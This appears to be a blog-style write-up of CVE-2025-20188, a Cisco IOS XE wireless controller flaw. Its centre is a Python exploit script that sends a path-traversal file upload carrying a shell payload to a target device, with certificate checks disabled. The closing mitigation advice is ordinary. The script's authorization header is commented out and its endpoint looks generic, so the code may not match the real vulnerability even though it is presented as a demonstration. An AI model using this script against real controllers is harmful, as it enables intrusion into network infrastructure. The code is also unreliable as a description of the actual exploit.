CVE-2025-20188 - Cisco IOS XE Software Vulnerability in the Out-of-Band AP Image Download Feature

A critical vulnerability (CVE-2025-20188) has been discovered in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs). This vulnerability exposes the affected systems to the possibility of unauthorized file uploads, path traversal, and arbitrary command execution with root privilege escalation if exploited. The vulnerability is attributed to a hard-coded JSON Web Token (JWT) found on the affected systems.

Exploit Details

An attacker can exploit this vulnerability by sending specifically crafted HTTPS requests to the AP image download interface. However, it is worth noting that the exploitation attempt will only be successful if the Out-of-Band AP Image Download feature is enabled on the device - a feature that is not enabled by default.

Here's a code snippet (Python) demonstrating the exploit

import requests

TARGET_IP = "xx.xx.xx.xx"  # Replace with the target device IP
API_URL = f"https://{TARGET_IP}/api-access/v2/";

# Prepare malicious payload
file_upload_payload = {
    "file": (
        "../../../../../../var/volatile/tmp/my_evil_payload",
        "echo 'This is my evil payload'\n",
        "text/plain",
    )
}

# JWT should be replaced with the hard-coded JWT present on the affected system
# headers = {"Authorization": "Bearer YOUR_HARD_CODED_JWT_HERE"}

# Send the exploit request
response = requests.post(
    API_URL,
    files=file_upload_payload,
    # headers=headers,
    verify=False,
)

if response.status_code == 201:
    print("File upload was successful")
else:
    print(f"Unexpected response from server: {response.status_code}")

Original References and Further Reading

1. Cisco Security Advisory: Cisco IOS XE Software Out-of-Band AP Image Download Vulnerability

2. Cisco IOS XE Software for Wireless LAN Controllers Official Documentation

Recommendations and Mitigations

As a temporary workaround, it is strongly recommended to disable the Out-of-Band AP Image Download feature on the affected devices, if it is enabled. To avoid getting affected by this vulnerability, apply the software patches provided by Cisco as soon as they become available.

It is crucial to keep the software on Wireless LAN Controllers updated with the latest security patches and follow the best security practices to minimize the risk of exploitation. Cisco recommends adopting a defense-in-depth strategy across the environment to ensure the security and integrity of systems, applications, and data.

Timeline

Published on: 05/07/2025 18:15:38 UTC
Last modified on: 05/08/2025 14:39:09 UTC